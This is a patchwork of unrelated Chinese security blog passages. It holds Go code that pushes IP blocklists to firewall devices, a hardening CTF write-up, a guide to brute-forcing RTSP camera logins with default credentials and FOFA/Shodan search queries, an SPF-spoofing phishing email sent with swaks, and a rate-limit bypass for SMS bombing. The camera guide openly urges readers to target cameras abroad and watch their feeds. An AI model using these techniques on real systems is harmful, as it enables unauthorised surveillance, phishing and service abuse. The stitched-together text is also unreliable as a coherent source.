appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
continue
}
// 逐个 IP 添加到黑名单
for _, ip := range ips {
// 如果 IP 地址没有 CIDR 后缀,添加 "/32"
if !strings.Contains(ip, "/") {
ip += "/32"
}
// 打印调试日志,确认每个 IP 地址
appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))
// 准备请求 payload
payload := map[string]interface{}{
"color": 0,
"device_mask": []int{224},
"items": []map[string]interface{}{
{
"type": 0,
"ip": ip, // 这里单独封禁每个 IP 地址
"timeout": 336,
"time_type": "3600",
"device_mask": []int{224},
"comment": "自动封禁",
},
},
"method": "add",
}
// 打印调试日志,确认请求 Payload
payloadBytes, _ := json.Marshal(payload)
// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))
// 请求封禁
req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
if err != nil {
appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
continue
}
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("Content-Type", "application/json")
// 执行请求
resp, err := insecureClient.Do(req)
if err != nil {
appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
continue
}
defer resp.Body.Close()
// // 打印调试日志,确认响应代码
// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))
// 解析响应
body, _ := ioutil.ReadAll(resp.Body)
var result map[string]interface{}
if err := json.Unmarshal(body, &result); err != nil {
appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
continue
}
// // 打印调试日志,确认响应结果
// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))
// 根据结果显示成功或失败
if success, ok := result["success"].(bool); ok && success {
appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
} else {
appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
}
}
}
}
// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
for _, idx := range selected {
device := devices[idx] // 获取当前选择的设备
url := fmt.Sprintf("https://%s", device.IP)
// 输出正在登录设备信息
appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))
// 登录设备,获取 token
token := Login(url, device.Username, device.Password, outputBox, device.Name)
if token == "" {
appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败,无法删除黑名单", device.Name))
continue
}
// 遍历 IP 列表,直接进行删除操作
for _, ip := range ipList {
apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
payload := fmt.Sprintf(`{
"color": 0,
"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
"method": "delete"
}`, ip, ip)
// 创建请求
req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
if err != nil {
appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
continue
}
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("Content-Type", "application/json")
// 发送请求
resp, err := insecureClient.Do(req)
if err != nil {
appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
continue
}
defer resp.Body.Close()
// 读取响应
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
continue
}
// 解析响应
var result map[string]interface{}
if err := json.Unmarshal(body, &result); err != nil {
appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
continue
}
// 检查删除是否成功
if success, ok := result["success"].(bool); ok && success {
appendOutput(outputBox, fmt.Sprintf("✅ 删除成功,IP: %s", ip))
} else {
// 如果失败,输出错误信息
if msg, ok := result["msg"].(string); ok {
appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
} else {
appendOutput(outputBox, "❌ 删除失败,未知错误")
}
}
}
}关于api的调用的话是有其自己的参数规则的,因为认证方式是https,所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表,所以这里就执行的是直接删除,否则就删除失败,但是对于功能性的查询模块的功能是有的,由于网盾k01的产品特性,一点发现全网阻断,所以这里基本上用不到删除黑名单的功能。

网神联动利用的是ssh登录执行命令,所以这里权限也相对来说比较大,对于蓝队来讲不建议增加其它代码功能,原理也是利用策略引用地址簿进行封禁
func AddIPsToQAX(cfg QAXConfig, ips []string) string {
var output strings.Builder
output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))
config := &ssh.ClientConfig{
User: cfg.Username,
Auth: []ssh.AuthMethod{
ssh.Password(cfg.Password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 15 * time.Second,
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
if err != nil {
return fmt.Sprintf("SSH连接失败: %v\n", err)
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return fmt.Sprintf("创建会话失败: %v\n", err)
}
defer session.Close()
stdin, err := session.StdinPipe()
if err != nil {
return fmt.Sprintf("获取输入管道失败: %v\n", err)
}
modes := ssh.TerminalModes{
ssh.ECHO: 0,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
}
if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
return fmt.Sprintf("设置终端失败: %v\n", err)
}
if err := session.Shell(); err != nil {
return fmt.Sprintf("启动shell失败: %v\n", err)
}
commands := []string{
"config terminal",
fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")
for _, cmd := range commands {
fmt.Fprintf(stdin, "%s\n", cmd)
time.Sleep(500 * time.Millisecond)
output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
}
output.WriteString("\n=== 配置完成 ===\n")
return output.String()
}向地址簿中添加ip地址核心代码
commands := []string{
"config terminal",
fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")目前我也是查询了多款网神防火墙的手册,关于地址簿添加这块儿的命令版本是没有变化的,基本上支持大多数版本型号。
这里SXF的设备是有两种模式可供选择的,但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改,所以这里使用的API的方式向地址簿中添加要封禁的IP地址,但是这里的话,策略务必要配置正确。
// 新增的结构体,用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
Devices []SXFDevice `json:"devices"`
}
// 登录响应结构体
type loginResponse struct {
Code int `json:"code"`
Data struct {
LoginResult struct {
Token string `json:"token"`
} `json:"loginResult"`
} `json:"data"`
Message string `json:"message"`
}
// 添加 IP 请求结构体
type ipRange struct {
Start string `json:"start"`
}
type addIPRequest struct {
IPRanges []ipRange `json:"ipRanges"`
}
// ✅ 防冲突:明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
// 打印设备信息,确保 IP、用户名和密码正确
fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)
payload := map[string]string{
"name": device.Username,
"password": device.Password,
}
jsonData, _ := json.Marshal(payload)
client := &http.Client{
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
}
resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
return "", fmt.Errorf("登录请求失败: %v", err)
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
// 打印响应内容进行调试
fmt.Println("响应体内容:", string(body))
var result struct {
Code int `json:"code"`
Message string `json:"message"`
Data struct {
LoginResult struct {
Token string `json:"token"`
} `json:"loginResult"`
} `json:"data"`
}
if err := json.Unmarshal(body, &result); err != nil {
return "", fmt.Errorf("解析登录响应失败: %v", err)
}
// 检查返回的 code
if result.Code != 0 {
return "", fmt.Errorf("登录失败: %s", result.Message)
}
// 返回 token
return result.Data.LoginResult.Token, nil
}
// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
data, err := os.ReadFile(filePath)
if err != nil {
return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
}
// 输出加载的 JSON 数据(用于调试)
fmt.Printf("加载的 JSON 数据: %s\n", string(data))
var devices []SXFDevice
err = json.Unmarshal(data, &devices)
if err != nil {
return nil, fmt.Errorf("设备解析失败: %v", err)
}
// 输出解析后的设备信息(调试)
fmt.Printf("加载的设备数量: %d\n", len(devices))
for _, device := range devices {
// 输出每台设备的详细信息,特别是 AddressGroup 字段
fmt.Printf("设备信息:Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
}
return devices, nil
}
// ✅ 添加多个 IP 到 SXF 地址组(支持日志回调)
// 在 AddToSXFBlacklist 函数内部,确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组(支持日志回调)
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {
for _, device := range devices {
// 1. 登录
token, err := SXFLogin(device)
if err != nil {
logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
continue
}
logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))
// 2. 添加每个IP
for _, ip := range ips {
ipRanges := []map[string]string{{"start": ip, "end": ip}}
requestData := map[string]interface{}{"ipRanges": ipRanges}
requestDataJSON, _ := json.Marshal(requestData)
// 3. 发送请求
url := fmt.Sprintf(
"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
device.IP,
device.AddressGroup,
)
req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
req.Header = http.Header{
"token": []string{token},
"Content-Type": []string{"application/json"},
}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
resp, err := client.Do(req)
if err != nil {
logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
continue
}
defer resp.Body.Close()
// 4. 处理响应
body, _ := io.ReadAll(resp.Body)
var result map[string]interface{}
if err := json.Unmarshal(body, &result); err != nil {
logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
continue
}
if code, ok := result["code"].(float64); ok && code == 0 {
logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
device.Name, ip, device.AddressGroup))
} else {
msg, _ := result["message"].(string)
logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
}
}
}
return nil
}如果想要扩展功能的话不建议使用API去扩展,毕竟太麻烦了,各种参数比较麻烦,没有ssh的方式登录使用命令操作简便。


其它厂商的防火墙确实没找到手册,有的是找到手册没有测试的设备,目前上述的设备和代码是完全没有问题的,如果想添加其它厂商的设备,可以给我操作手册,我这边更新新版本发布。每次更新后的授权时间是3个月。
刚好有机会接触到卫生行业的运维赛,这里只有机会接触到测试赛,简单谢谢wp吧,测试赛的话主办方也是用心了的,难度的话相比较决赛的内容还是比较简单的。
【题目背景】 模拟了一台公网上的服务器,内置 MYSQL\SSH\WEB 等应用服务,但是因为安全意识不到位导致该服务器存在若干安全风险,现在要求对该服务器实施断网并作全方面的安全检查,由于服务的迁移,在系统中保留了一些历史服务的流量包,需要对流量包进行分析和研判。
【题目要求】
1、通过修改服务器登录相关的配置文件实现:密码有效期90天、连续输错三次密码,账号锁定五分钟。
2、通过修改mysql相关配置实现:开启数据库查询日志、限制任意地址登录,只允许127.0.0.1登录。
3、从 /root/analyse.pcapng 文件中分析被读取走的flag值,写到 /root/flag.txt 中。
4、对系统中存在的其他安全隐患进行排查和处置(恶意配置后门请直接删除)。
5、还有其他的一些要求,但是没在题干中
【注意事项】
1、不涉及修改密码和修改私钥的动作,如果因为修改密码或私钥导致无法得分,选手自行负责。
2、禁止使用防火墙等相关IP封锁技术对IP进行隔离,如果因为隔离IP导致无法得分,选手自行负责。
【接入信息】
1、SSH服务端口22,账号密码为root/root
2、MYSQL服务账号密码为root/mysql

登录ssh,发现处于docker容器内,其实这里很多命令是无法使用的。
先修改登录过期事件
vim /etc/login.def
PASS_MAX_DAYS 90
连续输入错误三次,锁定5分钟
vim /etc/pam.d/sshd
auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件
auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300
或者修改
/etc/pam.d/common-auth
查看发现异常用户hacker
userdel -f hacker
这里需要强制删除,因为不添加参数的话会重新创建该用户。
访问控制在/etc/hosts.allow中发现存在异常的访问控制,删除该文件即可

mysql暴力破解用户名密码root/mysql
mysql -uroot -pmysql
SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

限制登录地址为127.0.0.1
修改配置文件
vim /etc/mysql/mysql.conf.d/mysql.cnf
bind-address = 127.0.0.1
这个定时任务题目有问题,没有定时任务但是需要删除root的定时任务
rm /var/spool/cron/crontabs/root
其实这里的定时任务文件是没内容的,但是check的机制就是检测文件是否存在
find / -type f -perm -4000 -exec ls -l {} \;
find /:从根目录开始查找(你也可以指定特定的目录,例如 /usr 或 /bin)。
-type f:只查找文件,不查找目录。
-perm -4000:查找设置了 SUID 权限的文件(SUID 权限对应的数字是 4000)。
-ls:显示详细信息,包括文件的权限、所有者、大小、修改时间等。
所有具有suid权限的文件都在/bin下,一般whoami权限是没有suid权限的,所以这个文件被动过,所以这里干掉这个文件就可以了。

需要开启SFTP服务,注释掉配置文件
#RSAAuthentication yes 这个配置文件是老版本openssh
另外添加ftp配置文件
Subsystem sftp internal-sftp检索关键字,追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt
目录扫描发现info目录,发现属于xxe的报错,构造xxe语句

system是可执行文件,url路径需要传参,fuzz无果手工测试

回显显示需要参数,简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计,审计即可,因为前期导完数据包的时候环境有问题,修改配置文件无法SFTP连接获取源码,所以就黑盒进行FUZZ了。
本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!
哈咯,师傅们,好久不见!
已经很久没有写文章了,这次简单写一个蛮有意思的案例,也是在最近攻防演练中遇到的。
其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞,因为之前有看过文章简单了解过,主要就是打弱口令和未授权访问漏洞,然后一般就是比较敷衍的使用爆破工具爆破下,有无弱口令,或者使用字典目录遍历下。
像下面的我就喜欢使用无影tools的爆破模块
把目标导入即可,然后选择RTSP的554端口进行爆破,字典可以选择内置的字典
其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大,且平常挖src漏洞之类的,也不怎么碰的到。但是这次攻防演练嘛,有些东西在平常可能没多大的利用的价值,但是打攻防说不定就是可以打分打权限的那种,下面就来介绍下这个RTSP漏洞。
其中主要还是在网上看了很多的打法和文章资料,在网上尝试了蛮多的工具,发现一款GitHub上面的新利用RTSP漏洞一键利用的工具,然后结合这次资产刚好有,就利用起来了。
然后这次我开始也是简单的爆破下,因为这次是攻防演练嘛,然后是某单位的资产,且有好多下级部门的厂商视频监控管理系统,所以对应的监控大都是RTSP协议的,集群远程管理。
且这次的攻防演练目标资产比较多,范围比较广,只要是属于该市的资产都可以,还有一些企业的都可以,像很多的监控系统都带有远程管理操作,所以有部分都是RTSP协议的,且这个漏洞在平常接触比较少,就比如我平常挖src对这个漏洞基本上没有太多的操作。
下面是我简单收集的一些资产表格如下:
上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞,比如我这里要讲的RTSP漏洞,这个漏洞的话主要是在攻防演练中,我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分,因为在攻防演练中主要是通过拿数据分和权限分,特别是你打进内网,像这样的监控系统肯定很多,这样就可以帮助你拿比较多的权限分。
这里给师傅们看下某些评分标准:
下面我来给师傅们讲下众测中,我一般第一先测试的漏洞——SPF邮件伪造漏洞。
具体的测试方法,我下面有很详细的测试手法,其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本,其中我自己也是利用这些脚本去测试的,因为在众测中,得拼手速了,具体的脚本我这里就不放上去了,因为脚本内容因人而异,最好自己修改下。
其实在攻防演练中也是可以利用SPF邮件伪造漏洞的,可以使用SPF邮件伪造去钓鱼,收集目标资产的邮箱,然后去钓鱼攻击,也是一种方法,在护网期间,钓鱼攻击是特别常态且使用特别多的一种方式。
针对师傅们对于SPF邮件伪造漏洞的拓展,师傅们可以看我之前写的那篇原创文章:https://xz.aliyun.com/news/14752
这里就引用这篇文章的SPF邮件伪造漏洞,写的蛮详细的,师傅们可以参考学习下,然后后面在众测项目上去赚点漏洞赏金。
SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件。
SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。
原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危
若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。
可以用未进行安全配置的网站域名,发送邮件。
比如:www.baidu.com有这个漏洞,你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。
src收的少,但是重测和渗透测试项目可以交。
v=spf1或者没spf就存在邮件伪造漏洞。我们直接拿baidu.com的域名来给大家演示下,用kali的nslookup 工具测试下
可以看到下面的回显,存在spf记录,是-all参数,说明不能任意伪造。
┌──(root-kali)-[~]
└─# nslookup -type=txt baidu.com
还可以使用dig -t命令来测试
┌──(root-kali)-[~]
└─# dig -t txt baidu.com
把下面的spf配置记录复制下来
测试地址如下:
https://www.kitterman.com/spf/validate.html
这里显示spf解析配置正确
下面拿一个存在spf解析错误的案例来演示下:
SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。
使用kali自带工具swaks 测试
swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
body为内容
Subject为标题
-t为目标邮箱
-f为伪造的发送方,这里我们伪造加了cn字眼,这里伪造改不明显字眼等都会进垃圾箱我们先申请一个临时邮箱:
然后我们使用kali自带的swaks 工具进行测试,结果如下
┌──(root-kali)-[~]
└─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码,请及时修改密码确保账户安全 手机管家@163.com
【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com
看到这里,我们要是对标题和内容进行改进,那么我们是不是就可以尝试钓一波鱼了呢?
RTSP(实时流协议)是一个网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架,使得能够实现对实时数据,如音频和视频的控制。与HTTP不同,RTSP提供了对流数据的实时控制功能,比如可以随意快进或倒退。
RTSP 主要用于以下场景:
1、视频监控系统,会议视频
2、IP摄像头监控(企业、大街、工厂的监控头)
3、媒体播放器与媒体服务器之间的交互
4、智能家居设备,比如:门铃、智能汽车行车仪等
RTSP 协议通常运行在 TCP 或 UDP 协议之上,使用的端口是554,不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令,以及进行实时播放位置的调整。

基本认证是HTTP 1.0 提出的认证方案,其消息传输不经过加密转换因此存在严重的安全隐患。
服务端在未认证时返回401Unauthorized,并带上WWW-Authenticate: Basic realm="RTSP Server"头,要求客户端提供凭据。
1) 客户端发送 DESCRIBE 请求
DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n
Accept: application/sdp\\r\\n
User-agent: Realplayer\\r\\n\\r\\n2)服务端发出 WWW-Authenticate 认证响应
服务端返回401错误码,发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。
RTSP/1.0 401 Unauthorized\r\n
CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n3)客户端再次发出 DESCRIBE 请求
此时客户端程序弹出密码认证窗口 ,提示输入用户名,密码等认证信息,并根据服务端返回的响应消息中进处理,如果发现是 Basic认证则携带认证信息发送如下报文:
DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n
Accept: application/sdp\r\n
User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码,明文发送泄漏后存在安全风险。
摘要认证是http 1.1提出的基本认证的替代方案,其消息经过MD5哈希转换因此具有更高的安全性。
避免了直接明文传输密码的风险。但是 MD5 哈希较弱,仍然可以通过 彩虹表等方式破解。
首先,这里你去了解RTSP认证流量,得先安装两款工具,工具是使用Wireshark和VLC视频播放工具。
https://www.wireshark.org/download.html

https://www.videolan.org/vlc/index.zh_CN.html
因为我的电脑上macbook,所以打开VLC和使用如下操作(windows的操作也是差不多的)
1、默认下载下来是英文的,直接可以设置中文的
选择Language,然后选择简体中文,重启软件就好了
2、打开 VLC 主界面,选择File > OpenNetwork(中文版为媒体 > 打开网络串流)
3、在弹出的对话框输入直播流播放地址,然后点击打开即可查看监控视频画面了
使用Wireshark和VLC视频播放工具
获取rtsp协议认证方式,可以发送options和describe请求进行,如下图所示,获取到认证方式为401 Basic和Digest, 如果返回的状态码为200,说明存在未授权访问。
1、警卫视摄像头
型号:qs-qy
连接密码:密码默认为空
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_12、乐橙摄像头
型号:LC-S2D
rtsp密码:摄像头底部安全码
rtsp连接地址:
rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=03、tp-link摄像头
设备型号:TL-IPC44AW
rtsp密码:默认为空
rtsp连接地址:
rtsp://admin@IP:554/stream1 4、萤石摄像头
设备型号:CS-C6
rtsp密码:摄像头底部安全码
rtsp连接地址:
rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream5、乔安智联摄像头
设备型号:JA-C10E
rtsp密码:空密码
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_16、帝防摄像头
设备型号:JA-C10E
rtsp连接地址:
rtsp://admin:admin11@IP:554/onvif1 7、Cubetoou摄像头
设备型号:Q88
rtsp连接地址:
rtsp://admin:123a123a@IP:554/onvif18、 icam365摄像头
设备型号:GI-2304
rtsp连接地址:
rtsp://admin:admin@IP/live.sdp
思路:
①指纹识别
发送rtsp请求,根据server头找到设备型号为TAS-Tech
②查找设备rtsp地址和密码
在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
连接地址为:rtsp://admin:admin@IP/live.sdprtsp://admin:admin@192.168.1.56:554/live/sys01
对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本,都可以尝试使用,但是我自己使用了好几个,都感觉差点意思,首先对于打攻防演练中,批量去测试,且需要对测试出来的IP地址进行归类,然后显示和判断出有价值的信息的,且导出页面可视化效果不好,其次好多针对呀RTSP这个漏洞目前汇总的字典不够全,爆破起来不是那么那啥,得自己汇总针对性的字典。
我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。
特别是对于新手师傅们,可能更喜欢在网上找些github项目的图形化GUI的项目试试,我这里也是找到了一个工具,蛮不错的,图形化操作,内置字典都还不错
GitHub地址:
https://github.com/returnwrong/RTSP-Cracker-Pro
师傅们要是觉得这个工具还不错,看完我的文章以后可以挖到这类漏洞了,可以给作者点个star关注
这里直接下载这个zip文件即可,里面主要是一个python的可执行文件,是个GUI图形化的工具

但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件,里面的功能显示不全(有点疑惑)
~/Downloads/rtsp_crackV1.0.3 > python --version
Python 3.9.6
后面在Cursor上面进行代码修改,提示应该是在 Mac 上运行时出现图形化界面显示异常,可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的,这里直接改改代码即可
工具打开以后是这样的,图形化界面,看着就很简单
这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的,且当时在资产收集过程中,看到了蛮多的视频监控管理系统等等,于是我上网找了蛮多的资料和工具进行测试漏洞。
这里直接把IP导入到ip.txt文件中
这里的字典可以使用工具自带的,但是我这里建议师傅们要是能过自己再去多收集一些,然后与这个工具的字典汇总,再去重,爆破效果可能要好点
然后点击破解,就可以看到具体的一个破解速度和进程了,图形化的好处就是可以很直观的看,爆破的日志也很清晰,特别是对于攻防中目标资产特别多,我们可以调整下线程大小
还有就是Digest认证和Basic认证两种都跑一下,这样爆破成功的概率更大
爆破成功后,可以直接点击查看结果的功能,里面的爆破成功目标资产很详细的列举出来了,但是我感觉爆破最主要还是得靠字典,这个工具自带的字典还行,但是也不是特别全,需要自己去网上收集
然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具,然后连接就可以直接看到监控内容了
像师傅们看完我上面的文章了是吧,手肯定也痒痒了,也想去测试下这个漏洞,获取下监控视频的权限。这里提醒下,别使用国内的,可以去试试国外的。具体的空间搜索引擎语法如下:
FOFA语法
port="554" && protocol="rtsp" && category="视频监控"
FOFA语句二:
(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"
可以看到数量比较多,测试的时候可以把线程调大点,爆破的时间就稍微短点
shodan搜索网络摄像头语法:
shodan搜索起来更加好点,特别是这里建议大家试试国外的站点,建议可以使用shodan去测试
port:554 has_screenshot:true
然后打开VLC media player,配置流地址,然后就可以直接有监控权限了,可以直接看画面了
到这里,这篇文章就已经结束了,该聊的和该注意的地方都给师傅们前面已经提过了,结尾呢主要是还是得提醒下师傅们不要未授权测试,且干渗透测试得低调点。
然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例,看完这篇文章,我想小白新手师傅都可以去挖这个漏洞了,使用的工具和手法都给师傅们分享了,且都写的非常的详细。
因为我电脑是MacBook的原因,所以一些软件使用上面还是有差异,师傅们可以自行上网搜索,Google浏览器还是很好用的,多搜搜,最好希望师傅们测试这个漏洞的时候测下国外的,不要未授权测试国内的!!!
文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。
本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!
这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。
这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理
我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的
txt的类型像下面的如下:
然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试
这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。
这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:
直接把数据包放到重放模块,下面直接go一下(第一次go)数据包
可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了
但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了
这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的
然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?
经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:
我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:
然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:
